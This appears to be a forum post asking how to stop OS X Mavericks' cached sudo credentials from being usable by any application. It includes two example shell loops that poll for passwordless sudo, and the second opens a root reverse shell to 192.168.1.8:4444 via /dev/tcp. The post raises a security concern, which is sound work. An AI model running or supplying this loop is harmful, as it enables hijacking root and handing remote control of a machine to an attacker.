I have noticed recently on OS X Mavericks that running sudo will not only allow one to run it again in the same window or even the same application, but will permit any application to run shell commands as root. This would mean that any application continually trying to run sudo without a password in a loop would gain root privileges. Is there a way to change this?
Example shell script:
while (true) do if [ `echo ""|sudo -S whoami` = "root" ]; then say root echo root exit fi done
If that is run in the background and then a sudo command is run it will say root then exit. Another example that I would be more concerned about is this:
while (true) do if [ `echo ""|sudo -S whoami` = "root" ]; then bash -i > /dev/tcp/192.168.1.8/4444 0>&1 fi done